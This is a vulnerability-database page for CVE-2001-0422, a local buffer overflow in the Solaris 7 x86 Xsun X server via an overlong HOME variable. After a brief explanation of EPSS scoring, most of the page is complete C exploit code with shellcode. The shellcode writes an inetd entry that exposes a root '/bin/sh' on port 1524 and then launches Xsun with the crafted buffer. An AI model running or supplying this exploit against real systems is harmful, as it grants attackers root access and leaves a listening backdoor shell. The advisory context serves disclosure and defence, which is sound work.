CVE-2001-0422 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/2561/info The X11 server that ships with Sun Microsystems' Solaris, Xsun, contains a locally exploitable buffer overflow vulnerability. The condition is present when the value of the HOME environment variable is of excessive length (more than 1050 bytes long). An attacker may exploit this vulnerability to execute arbitrary code with effective group 'root' privileges. /***********************************/ Solaris 7 (x86) /usr/openwin/bin/Xsun HOME environment overflow Proof of Concept Exploitation riley@eeye.com Puts a Root shell on local port 1524 /***********************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BUFLEN 1041 /* seteuid/setuid/inetd shell */ char eyecode[] = "\xeb\x51\x9a\x65\x65\x79\x65\x07\x90\xc3\x5e" "\x29\xc0\x89\x46\xab\x88\x46\xb0\x89\x46\x0c" "\x50\xb0\x8d\xe8\xe4\xff\xff\xff\x29\xc0\x50" "\xb0\x17\xe8\xda\xff\xff\xff\x29\xc0\x88\x46" "\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56" "\x8d\x5e\x10\x89\x1e\x53\x8d\x5e\x18\x89\x5e" "\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xb2" "\xff\xff\xff\x90\x90\xc3\xe8\xb2\xff\xff\xff" "\x90\x6b\x61\x6d\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x2f\x62\x69\x6e\x2f\x73" "\x68\x20\x2d\x63\x20" "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/eeye;" "/usr/sbin/inetd -s /tmp/eeye2001"; char buf[BUFLEN]; unsigned long int nop, esp; long int offset = 0; unsigned long int get_esp() {__asm__("movl %esp,%eax");} int main (int argc, char *argv[]) { int i; if (argc > 1) offset = strtol(argv[1], NULL, 0); else offset = -200; esp = get_esp(); memset(buf, 0x90, BUFLEN); memcpy(buf+800, eyecode, strlen(eyecode)); *((int *) &buf[1037]) = esp+offset; strncpy(&buf[0],"HOME=",5); putenv(buf); execl("/usr/openwin/bin/Xsun", "eEye", ":1",NULL); return; }